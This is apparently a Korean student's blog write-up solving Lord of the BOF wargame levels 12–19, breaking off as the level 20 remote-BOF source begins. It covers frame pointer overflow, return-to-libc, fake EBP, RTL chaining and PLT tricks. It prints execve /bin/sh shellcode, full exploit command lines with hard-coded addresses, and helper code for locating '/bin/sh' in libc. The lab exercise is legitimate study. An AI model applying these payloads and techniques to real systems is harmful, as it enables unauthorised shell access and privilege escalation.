지옥방 5주차 과je LOB !(All clear)
*극소수의 문제(아마도 1~2문제..)를 제외한 나머지 문제들은 부족한 저의 실력 탓에 풀이를 보지 않고 풀 수 없었음을 이해 부탁드려요오.....
흠 이번 친구는 darkknight다.
sfp????
광신호라,, LOB에서 이제 광신호까지 다루나
일단 C 파일을 살펴보도록 하자!
이번 문제에서는 신기하게 함수를 호출한다. 첫번째 인자로 주어진 문자열이 다시 인자로 들어가는 함수 problem_child()는 40바이트의 buffer를 선언하고, 인자로 전달받은 src를 복사해 buffer에 41바이트만큼 복사(strncpy)를 진행한다. 그리고 buffer를 출력한다.
그냥 이렇게 보기에는 큰 취약점이 보이지 않는다. 40바이트 크기에 41바이트만큼 복사한다고 큰 취약점으로는 느껴지지 않는데,,흠
C 파일에 써져있는 힌트인 FPO에 대해서 검색해보자!
허우씨 나왔다
공부하고 올게용
https://bob3rdnewbie.tistory.com/188
메인함수 외에 서브함수의 스택에서 EBP 영역을 1바이트만 오버플로우 되면 FPO 기법이 사용이 가능하다.
1바이트가 오버플로우 되었다면 서브함수의 스택 구조는 위처럼 될 것이다.
서브함수의 마지막에 leave 명령어를 수행하게 되는데 leave 명령어는 두가지 작업을 수행한다.
mov esp, ebp
pop ebp
위의 명령을 수행하게 되는데 일단 먼저 첫번째 명령어인 mov esp, ebp가 실행될때를 알아보겠다.
esp가 ebp가 가리키고 있는 곳과 같은 곳을 가리키게 될 것이다.
이렇게 말이다!!
이 상태에서 pop ebp를 수행하게 되면?
ESP는 4바이트 위를 가리키게 되고, EBP는 서브함수의 시작에서 push 했던 이전 함수의 SFP( 프레임 포인터)를 가리키게 된다.
이전 함수인 main 함수에서 사용하던 프레임 포인터는 buf의 시작 주소에서 4바이트 밑에 위치하기 때문에 shellcode의 시작주소-4의 영역을 가리킨다 EBP가!
이제 leave 명령을 수행했으니 ret 명령을 시작할 때이다!
ret 명령은 다들 알다싶이 다음으로 이루어져 있다.
pop eip
jmp eip
pop eip는 esp가 가리키고 있는 영역의 값을 eip가 갖게(?)된다. 즉 Return address!!!
그리구~ pop 명령어는 ESP가 4바이트 커지게 하므로! ESP가 가리키는 영역은 Return address의 끝! 뒤를 가리키게 된다.
이 상태에서 JMP EIP!!!!!!!!! EIP가 가리키고 있던 return address, 즉! 메인함수에서 서브함수를 호출하는 명령어의 다음 명령어(call의 다음 명령어)로 이동한다.
돌아온 메인함수는 나머지 맡은 일을 차곡차곡 수행하다가 서브함수와 마찬가지로 leave 명령어와 ret 명령어를 만나게 된다.
<leave 명령어 뚜둥...>
mov esp, ebp
가 실행되면 ebp가 가리키던 영역을 esp도 가리키게 된다. 아래와 같이 말이다!
이 상태에서!?
pop ebp
가 실행이 되면 esp가 가리키고 있는 영역의 주소, 즉 shellcode의 시작주소-4를 ebp가 가리키게 되고(변함 없음), esp는 pop 명령어에 의해 4바이트 위를 가리키게 되어서 shellcode를 가리키게 된다. ㄷㄷ 개멋있어
<ret 명령어!!! 뚜둥...>
pop eip
esp가 가리키고 있는 영역이 shellcode 영역이니깐!!! eip에 shellcode의 시작주소가 들어가게 되고 하씨 개멋있어 이거 뭐야
JMP eip
후하후하 개멋있어. 쉘코드가 있는 주소로 쩜프!!!!!!!!! 쉘코드가 실행이 된다... 후 문제 풀어보자
일단 buf의 크기가 40바이트밖에 되지 않기에 삭님이 주신 쉘코드 중 가장 작은 크기를 가진 24바이트짜리
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
를 이용해 보겠당
이씨
혹시 몰라서 첫번째 시도에서는 앞에 NOP 10 뒤에 NOP 7, 두번째 시도에는 앞에 NOP 17바이트를 줘봤는데 왜 안되징.
아 혹시 몰라서 다시 공부하고 왔는데,,바보였다씨
위에서와 같이 BP를 strncpy에 걸어주고 "A"를 41바이트만큼 넣어주었다.
ebp의 주소가 0xbffffc9c인데, 1바이트만 변조가 가능한 상황에서 우리가 EBP를 움직일 수 있는 공간은 0xbffffc00~0xbfffffff이기에 0xbffffc00부터 메모리를 출력해보았다.
EBP의 값의 끝 1바이트가 \x41로 바뀐걸 확인할 수 있다!
A가 들어간 buf 영역 바로 앞에 있는 주소값인 0xbffffc74는 buf의 시작 주소값을 가리키고 있다. 그러면 우리가 EBP의 값을 0xbffffc6c로 바꿔줬다고 생각을 해보면, EBP는 0xbffffc6c가 되고, ESP는 main 함수의 leave-ret 과정에서 ret의 pop EIP 가 수행되기 전 ESP는 쉘코드의 주소를 가리키게 될 것이다. 여기서! POP EIP가 수행이 되면 EIP는 ESP가 가리키던 쉘코드의 주소를 갖게 되고 JMP EIP를 통해서 쉘코드가 실행이 되는 그런 멋진 상상의 나라를 펼칠 수 있다.!
그럼 입력하는 코드는 아래와 같을 것이다!
./darkknight `python -c 'print("\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x6c")'`
쉘코드는 24바이트 짜리 사용~
후 간다 이걸로
이야씨~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~₩
지금 시간이,,? 화요일 새벽 1시 45분..
과제 제출 기한까지 24시간+22시간 15분
남은 문제는~8문제
이거 하나 푸는데 3시간
그럼 총 24시간이 예상이 되는데?
뭐야~ 충분하네
간다!!!!
LEVEL13 (darkknight -> bugbear) : RTL1
후,,,bugbear,, 벌레곰!
? 벌레곰 치고는 개무섭게 생겼는데?
어!? RTL이다!!! 이거 라젠카에서 배웠어요! 물론 기억은 안나지만! 물론 어제 배웠지만!
배웠다는걸 기억하는게 참 기특하다ㅎㅎ
RTL이란!
Return to Libc의 약자로! 힣
자세한 설명은
http://lazenca.net/display/TEC/01.RTL%28Return+to+Libc%29+-+x86
<도움이라 적고 따라하기라 읽는다..>
딱 이게 뭐다!라고 나올 정도로 공부를 해야되는디,, 일단 치킨부터 시키고 풀어보자!!
포너블 스터디에서 배웠던 system() 함수를 사용해보자!
system 함수는 인자로 주어진 문자열을 실행..?하는 명령어이다
즉! 포너블 스터디에서 system("cat flag")를 했던 방식과 비슷하게 이번에는 system("/bin/sh")를 실행시키는 방향으로 가보겠다
이렇게 구현하기 위해서는 system 함수의 주소와 문자열 "/bin/sh"의 주소가 필요하다
각각의 주소값을 확인하기 위해 gdb로 분석해보쟝!
main 함수에 BP를 걸어주고 실행시킨 다음
p system
명령어를 이용해서 간단하게 system() 함수의 주소를 찾을 수 있다
그럼 이제 system 함수의 인자로 넣은 "/bin/sh"의 주소를 찾아봅시당!
gdb-peda의 환경이라면
find "/bin/sh"
이 명령어 하나로 끝났겠지만...
근데 꼭 주소를 찾을 필요가 없구나....?
그냥 리턴 어드레스의 4바이트 뒤에 "/bin/sh" 문자열을 넣으면 된다 그러하다 그러하지??
<--buffer+SFP(40 Byte)--><--System() 함수의 주소--><--4바이트 의미없는 값--><--"/bin/sh"-->
위처럼 페이로드를 작성해 진행해보겠습니당.
./bugbear `python -c 'print("\x90"*44+"\xe0\x8a\x05\x40"+"\x90"*4+"/bin/sh")'`
후 갑니다잉?
안되나보다... 찾아보니깐 매개변수로 그냥 "/bin/sh"로 한 블로그가 없다...
하는 수 없이 "/bin/sh"의 주소를 찾아보자
막 여러 블로그를 보니 C 파일을 작성해서 그걸 빌드한 후 "/bin/sh"의 주소를 찾는데,,
먼저 아는것부터 시도해보기 위해서 환경변수를 사용하겠다. 이는 저번에도 했어가지구 ㅎㅎ
위와 같이 환경변수 SH의 주소를 출력하는 코드를 짜주고
gcc -o sh sh.c
로 빌드한다!
위와 같이 SH라는 이름의 환경변수를 설정해주고 위에서 만든 sh를 실행시켜보자
후 안된다 안된다 안된다
안돼안돼안돼안돼
다른 분들이 사용했던 방법을 쓰자 후,,,
system 함수 내에 내장되어 있는 "/bin/sh" 문자열을 찾는 코드를 작성해 주소값을 찾는다.
#include <stdio.h>
#include <string.h>
int main(){
long system=0x40058ae0;
while(memcmp((void *)system, "/bin/sh\x00",8))
system++;
printf("%p\n", system);
}
system 이라는 long 형 변수에 system() 함수의 주소를 입력한다. 그리고 비교를 진행해 "/bin/sh\x00"이 나올때까지 계속 반복하면서 system 주소값에 ++를 진행한다. 이렇게 해서 구할 수 있나보다! 물론 이 코드는!?
여기서 가져왔지요오
이제 저걸 빌드하고 실행하면 하ㅠㅠㅠㅠㅠ "/bin/sh"의 주소가 뜨고 그걸 이용해
./bugbear `python -c 'print("A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40")'`
다음과 같이 페이로드를 작성해 엔터를 툭 치면!?
하씨ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
LEVEL14 (bugbear -> giant) : RTL2, only execve
giant!!!! 크아아앙 크아아아아앙 걸리버 크아아아ㅏ아앙
크아아아아ㅏ아아아앙
오씨 이번건 많이 다르다 허우씨 클났다
흠 gain address of execve 부분은 너무 어렵다!!!
그니깐 밑에만 해석해보자 일단
argv[1][44]부터 argv[1][47]까지를 ret에 복사한다.
그런데 이 ret이 가리키는 값의 주소가 execve_addr과 같아야한다!
그래야 취약점 strcpy에 도달하고,, 뭐라도 하겠죠..?
그럼 일단 execve가 뭔지부터,,
system 함수와 비슷한 기능을 하는 친구인거같다. 이전 단계에서 system 함수를 사용했으니 이번에는 execve 친구를 사용하라는거 같은디,,
흠
와 너무 어렵다 진심
어카지 이거
어떡하긴 어떡해!
따라하기라도 해야지
후,,,,
이전에 system 함수를 사용할때도 system() 함수의 주소와 그 안에 인자로 넣을 인자의 주소를 찾아 넣었던것이 기억난다. 그럼 execve() 함수의 주소는 어떻게 찾을까? 똑같이
p execve
를 사용해보자
오옹 구해진다 후하후하
execve의 address => 0x400a9d48
이전의 문제에서 system() 함수의 인자로 넘겨준 "/bin/sh"를 리턴 어드레스의 4바이트 뒤에 넘겨줬던 것이 기억난다.
그럼 execve() 함수를 사용할때 넘겨줘야 하는 인자를 알아보자
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
의 형태이다.
첫번째 인자에는 파일의 절대 경로를, 두번째 인자에는 파일을 실행할때 넘겨줄 인자를, 세번째 인자에는 환경변수를 넘겨준다.
그렇기에 페이로드는 아래와 같아진다.
./bufbear `python -c 'print("A"*44+execve() 주소+"A"*4+filename+*argv[]+*envp[]'`
이다.
그러 filename에다가 "/bin/sh"의 주소값을 넣어주고~
관습적으로 그렇다는게,, 흠 그냥 이해해보자
argv[1]에는 argv 가 끝났다는걸 표현하기 위해서 NULL 을 넣어주고 환경변수를 넣는 envp에도 NULL의 주소를 넣어주자. 주소를 넣는 이유는 NULL을 넣어버리면 명령이 그 상태로 끝나기 때문
후 그럼 구해야되는게 execve()의 주소, "/bin/sh"의 주소, "/bin/sh"의 주소를 담고 있는 주소, NULL의 주소를 구하면 된당.
execve()의 주소 =>0x400a9d48
이전 문제에서 사용했던 system() 함수 내에서 문자열 "/bin/sh"를 찾는 코드 그대로 이용해서 "/bin/sh"를 찾아보자
"/bin/sh"의 주소 => 0x400fbff9
"/bin/sh"의 주소를 가리키는 주소를 구하기 위해서 심볼릭 링크를 사용했다. 파일에 심볼릭링크 이름으로 위에서 구한 "/bin/sh"의 주소를 주면 스택에는 이를 가리키는 주소가 생길 것이다.
후 근데 이걸 못 찾겠다. 미치겠다 진짜ㅏ줄ㅈ물;ㅏㅁ루;ㅈㄹ
후 다른 블로그를 따라해보자
https://mandu-mandu.tistory.com/57
여기 방식은 오오옹
dummy(44byte) + execve() address + system() address + exit() address + "/bin/sh" address + NULL 로 이루어져 있다.
다 앞에서 구해놨던 주소값이고 NULL은
어 저기 가운데에 있는건 내가 한게 아닌데,, 암튼 왼쪽 아래 구석에 있는 0xbffffffc를 선택했다.
./giant `python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf")'`
그렇기에 이렇게 입력을 해봤다.
근데..?
execve 함수를 이용하지 않았다고 뜬다,,
위에 추가한 블로그를 보면 해답을 알 수 있다. 이는 execve() 의 주소값인 \x48\x9d\x0a\x40 에서 \x0a를 인식하지 못해 일어나는 문제였다!!! 이를 ""따옴표를 이용해서 문자열로 인식을 시켜주면 된다길래 python 이용 구문을 ""로 감싸주었다. 이는 아래와 같다.
./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf")'`"
그러자..!?
하..... 과제 제출마감까지 22시간 남았다. 할 수 있을까 아니아니 할 수 없어 건탁아
+왜 페이로드가 위처럼 구성되었을까?
execve() 함수를 사용하려면 인자로 배열을 사용해야하는데, 이는 사용하고 싶은 요소들이 들어있는 배열의 주소를 직접 찾아야 하기에 매우 힘들다. 그래서
main() 함수의 return address에 execve() 함수의 주소를
execve() 함수의 return address에 system() 함수의 주소를
execve() 함수의 첫번째 인자에 exit() 함수의 주소를
system() 함수의 인자에는 "/bin/sh" 문자열의 주소를 넣는다.
이렇게 되면,, main 함수가 끝나면서 execve() 함수가 실행이 되고 이는 인자로 주어진 exit()함수가 실행이 되면서 종료되고
주어진 execve()의 리턴 어드레스로 리턴하는데, 이는 system()함수다. system()함수의 인자로 주어진 "/bin/sh"를 이 함수가 실행하게 되면서!? 후하후하
LEVEL15 (giant -> assassin) : no stack, no RTL
부제목이 살벌하다. 스택도, RTL 도 없어!
흠
아까보다는 나은거같다
확.실.히.
인자 2개 이상~
리턴 어드레스가 스택 영역이면 안되고~
리턴 어드레스가 공유 라이브러리 영역이면 안되구~
흠 진짜 딱 스택 안되고 RTL 안되고가 맞네
심지어 버퍼랑 EBP를 0으로 초기화한다. 후 그라믄 후
블로그의 조언대로,, RET Sled 기법을 사용해보자
RET Sled 기법을 사용하려면 Return address에 Ret 명령의 주소를 넣고 Return address 뒤에 쉘코드를 넣으면 끝!
Ret 명령의 주소값은 0x804851e => \x08\x04\x85\x1e
사용할 공격 방법은 아래와 같다
return address에 RET의 명령어 주소를 넣고 그 바로 뒤에 argv[2]의 주소를 넣는다.쉘코드는 당연히? argv[2]에!
그럼 더 알아내야 하는게 argv[2]의 주소값이다.
살짝 이런 느낌으로다가,,ㅎㅎ
250개의 A는 NOP코드 200에다가 쉘코드 41바이트 짜리 쓸거를 감안해서 대충 넣은 값!
그럼 argv[2]의 주소는 흠 약 0xbffffd48 쯤이다.
그럼 입력할 코드는 아래와 같다.
./assassin `python -c 'print("A"*44+"\x1e\x85\x04\x08"+"\x48\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*100)'`
후우
그나마 쉽게 끝났다...
LEVEL16 (assassin -> zombie_assassin) : fake ebp
파일명이 길어서 짜증나네,,후
이번에는 strcpy가 아닌 strncpy로 값을 복사한다. 그렇기에 정해진 길이만 복사를 하는데 그게 48바이트다. 48바이트는 뭐겠어요!!!!
딱 return address까지잖아여~
이것은 배운걸 써먹을때가 왔다.
라젠카의 Fake EBP 문서 맨 앞에 "이 방법은 리턴 어드레스까지 덮을 수 있을때 사용" 이런 문구가 써있었어!!!!
Fake EBP 라젠카보다는 쉽게 설명해주는 사이트
이 설명을 보면 원리는 쉽게 이해가 가능하다.
그럼 바로 페이로드 작성으로 들어가보겠다.
(buffer의 주소 +4)(4바이트) + 쉘코드(24바이트) + NOP(12바이트) + (buffer의 주소-4)(4바이트) + leave-ret Gadgets
가 되겠다. 그럼 buffer의 주소를 먼저 찾아보자
main+134에 BP를 걸어주고~
흠... 0xbffffc44 + 0x0xc니깐 흠 0xbffffc50이다!!!
leave-ret Gadgets은 0x80484df이고~
그럼 다 끝난거 같은데 페이로드 작성해보자
./zombie_assassin `python -c 'print("\x54\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\x4c\xfc\xff\xbf"+"\xdf\x84\x04\x08")'`
를 입력하자!!??
후핳
이거이거 기법 다 까먹을거 같다. 복습 필수다 씨
LEVEL17 (zombie_assassin -> succubus) : function calls
와씨 여기다가 C 파일 올리려고 cat succubus.c 했다가 깜짝 놀랐다 진짜와씨
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
하 정확히 보진 않았지만, 뭔가 많은 부분을 못쓰면서? 함수를 DO -> GYE -> GUL -> YUT -> MO 순서대로 호출해야한다. 클났다씨.
제한된 영역을 살펴보자. 라이브러리 영역, buffer 영역, etc....(절대 뭔소린지 모르겠어서 급히 마무리 짓는거 아님)
암튼 이렇게 함수를 연속해서 호출하는걸 RTL Chaining 이라고 한다고 한다.
일단,, 확실한건 함수를 호출하려면 주소를 알아야하니 하나하나 다 구해주고!?
후..일단 리턴 어드레스에 들어가는건 DO 함수의 주소가 맞을거고, 그 뒤로 나머지 함수의 주소를 차례차례 주고?
MO 함수 주소값 바로 뒤에는 MO 함수가 끝나고 실행될 명령어의 주소(이건 뭐 필요없을거 같다.MO 함수에서 system() 함수만 실행되면 끝날테니깐), 그 뒤에는 MO 함수의 인자로 들어갈 cmd( 여기다가는 "/bin/sh"의 주소를 넣으면 될거같다. 이전에도 system("/bin/sh")로 해왔자나!!!!) , 마지막으로 남은 스택 영역(C 파일을 보면 buffer+44~buffer+147까지는 0으로 초기화 시키지 않음을 지레짐작 가능하다!) 여기다가 "/bin/sh"를 넣으면 될거같음
그라믄 구해야되는게 어,,"/bin/sh"를 가리키는 영역의 주소를 구하면 되겠지요옹?
후 인자로 "/bin/sh"를 넣을때는 뒤에 NULL을 붙여줘야 하기에 "/bin/sh\x00"이 된다. 이는 8바이트다.
그러면 앞에서부터 바이트 크기를 확인해보면
<--Dummy 44 byte--><--RetAdr(&DO) 4 byte--><--&GYE, &GUL, &YUT, &MO 16 byte--><--Dummy 4 byte--><--"/bin/sh" adr 4 byte--><--"/bin/sh\x00" 8 byte-->
후 이렇게 아니겠는가!!! 그럼 "/bin/sh\x00"이 들어가는 주소값을 확인해보자
strcpy()를 호출하고 나서인 main+173에 BP를 걸어주었다.
r `python -c 'print("A"*44+"\xec\x87\x04\x08"+"E"*24+"A"*40)'`
위와 같이 실행시키고 x/120x $esp로 스택의 상황을 살펴보았다.
0xbffffd6c +0x9 부터 들어가있음을 알 수 있다.
후우우
그럼 Payload를 작성해볼까요오~?
./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"AAAA"+"\x75\xfd\xff\xbf"+"/bin/sh\x00")'`
와씨 가보자
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
흠 다시!
./successs `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"AAAA"+"\x75\xfd\xff\xbf"+"/bin/sh\x00")'`
이걸로 실행을 시키고
gdb ./successs core
를 입력해보자
위처럼 정확한 주소값을 구해준다.
0xbffffc68
위 값을 변경을 한 코드는 다음과 같다.
./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"A"*4+"\x68\xfc\xff\xbf"+"/bin/sh\x00")'`
이양훔;후;ㅈㅁㅎㅁ주핮ㅁ;훔ㅈ'훔ㅈㅎ'
LEVEL18 (succubus -> nightmare) : plt
[succubus@localhost succubus]$ ls -l
total 20
-rwsr-sr-x 1 nightmar nightmar 12983 Mar 30 2010 nightmare
-rw-r--r-- 1 root root 625 Mar 30 2010 nightmare.c
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
이렇게 코드를 복사해오는게 보기 더 깔끔한거같다.
후
이번에는 뭘까
뭐지 strcpy 함수를 이용하라는 뜻인가
리턴어드레스 영역의 뒤 4바이트는 맨 아래 명령에 의해 "AAAA"로 바뀌고,,(<- 이는 Return address에 들어가게 될 strcpy의 리턴 어드레스)
아니 근데
strcpy를 사용하라고??
후 뭐 복사해서 흠
하
https://m.blog.naver.com/s2kiess/220091733634
.클론
호 알겠다.
이해완료!!!!
내가 이해한 바는 이러하다.
원래 문제와 같았으면 strcpy()함수의 Return address를 쉘코드를 가리키는 주소로 변경해 실행시킬 수 있었겠지만 밑에 dangerous waterfall에 의해서 이 방법은 통하지 않게된다.
그러므로 main 함수의 return address에다가 strcpy함수의 주소를 주고, 4바이트 뒤에 인자값으로 strcpy의 리턴 어드레스를 저장하는 영역(return address 바로 뒤), System("/bin/sh")를 주면? 완벼크
미쳐
gdb 분석을 위해 nightmare를 복사한 nightclub 실행파일 생성
이제 gdb에서 구해야하는게 흠..strcpy 함수의 주소값, buffer의 주소값 +48 , system() 함수의 주소값, "/bin/sh"의 주소값 이렇게인거 같은데...일단 구해보자
&strcpy() ==> 0x400767b0
&system() ==> 0x40058ae0
&buffer+48 ===> 0xbffffc80
&buffer ===>0xbffffc50
#include <stdio.h>
main(){
long shell=0x40058ae0;
while(memcmp((void*)shell, "/bin/sh", 8))
shell++;
printf("%x\n", shell);
}
system() 함수 내에 위치하는 "/bin/sh"를 찾기 위한 코드
물론 블로그 따라했음 헿
"/bin/sh"의 주소 ===> 0x400fbff9
후 다 구했다.
system() 주소 + dummy*4 + "/bin/sh"의 주소 + dummy*32 + strcpy() 주소 + dummy*4 + &buffer+48 + buffer의 시작주소(system 주소 넣은 곳)
./nightmare `python -c 'print("\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"+"A"*32+"\x10\x84\x04\x08"+"\x90"*4+"\x80\xfc\xff\xbf"+"\x50\xfc\xff\xbf")'`
를 입력하면!?
후
nightclub 으로 실행시켜 core dump를 분석해보자
보면 0x40058ae0가 아까 buffer의 처음에 넣은 system()의 주소인데, 이게 0xbffffc60에 위치해있다.
strcpy()의 return address가 저장되는 영역의 주소, 즉 strcpy로 덮어야하는 그 곳이 0xbffffc60으로부터 48바이트 떨어져있을거기 때문에 그 주소는 0xbffff90이 될것이다. (0x30=48이 늘어남)
즉 공격 코드는
./nightmare `python -c 'print("\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"+"A"*32+"\x10\x84\x04\x08"+"\x90"*4+"\x90\xfc\xff\xbf"+"\x60\xfc\xff\xbf")'`
이 되고 이를 입력하면
후하후하
LEVEL19 (nightmare -> xavis) : fgets + destroyers
슬슬 몸에 힘이 빠져온다,, 이번에 상대할 친구는 자비스다. 어..?자비스?
어릴때 자비스 갖고싶어 했었는데, 이제 그 녀석을 탈취해야하다니
떨린다 둨흔
아닌가 몬스터땜에 심장이 뛰는건가ㅎ
왜 여기는 xavius지?
얘구나,,ㅎㅎㅎ
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
하 얼마 안남았는데,, 그냥 쉬운거 해주지ㅠㅠㅠㅠㅠㅠㅠ
후 일단 stack 영역, library 영역, code 영역은 사용이 막혔음을 위 코드 조건문, 초기화를 보고 알 수 있다.
당연히 환경변수도 막혔겠찌 스택에 저장되니깐..?
흠 답은 보이지 않고,, 눈은 감겨오고,,,,
https://www.youtube.com/watch?v=2QOgUlvvM6s&list=RD2QOgUlvvM6s&start_radio=1
미뤄미뤄 온더 월~ 돈t 세잇 커즈 노 암 큣t!
<참고라 쓰고 카피라 읽는다..>
https://marcokhan.tistory.com/219?category=745848
여기서 사용된 stdin은 표준입력 파일 스트림으로, 사용자가 입력한 문자열을 가지고 있는 '버퍼'다.
이 뜻은...아무리 나쁜 시키가 다 초기화 시킨다고 해도 이 곳을 사용할 수 있다는 뜻...?
stdin의 주소를 찾아보자
일단 gdb 분석을 위해 같은 길이의 이름을 가진 jee_ok 이라는 실행파일로 복사를 하고 gdb로 열자
stdin은 fgets 함수의 3번째(마지막) 인자로 주어졌기에 push는 제일 먼저 되었을것이다.
그렇다면 stdin의 주소는 push %eax에 의해 올라간 값일 것이고, 이는 그 위에서 eax에 복사된 0x8049a3c이다
.
stdin의 주소에 뭐가 있나 살펴보고 그 주소가 가리키는 값은 무엇인지 *를 붙여 확인해보았다.
그럼 입력을 받고 난 후에 BP를 걸어 스트림에 어떻게 값이 들어가나 살펴보자!
흠 설명을 봐도 뭔 소리인지 모르겠다
다른 블로그를 살펴보니 살짝 알꺼같다.
값을 넣기 전에는 00000000000000으로 비어있던 곳이
값을 넣자 아래처럼 변했다
이렇게 변했는데 이가 의미하는 것은 stdin의 임시버퍼의 메모리가 할당되어서 생긴 주소를 의미한다.
즉 stdin의 임시버퍼의 주소=> 0x40015000 인 것이다!
그 주소에 저장된 값을 살펴보니 내가 넣은 AAAAAAAA~ 가 있다. 이걸로 임시 버퍼인거 확정!!!
후 이것만 알아내면 이 문제는 쉽게 풀 수 있는건데,, 그게 어렵지요오 공부 열심히 해야겠지요오오
과제 마감까지 11시간 55분 남았지요오
<--쉘코드 33 byte--><--Dummy 11 byte--><--&임시버퍼-->
로 구성하면 끝!
(python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"\x90"*11+"\x00\x50\x01\x40")';cat) | ./xavius
이거 기억나죠!!!!!
cobolt -> gremlin에서도 이번과 마찬가지로 실행 후에 값을 입력받는 방식이였는데 이때 파이프 기법을 사용했었다. 이게 이때 한 번 나오고나서 이번이 그 다음으로 나온거라 은근 반갑다.
아무튼 파이프를 이용해서 위처럼 만들고 입력해주면~?
후우우우우우우ㅜ우우우ㅜ우우우ㅜㅜㅜㅜㅜㅜㅜㅜ어렵다 진짜루ㅜ우우우우우
LEVEL20 (xavis -> death_knight) : remote BOF
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
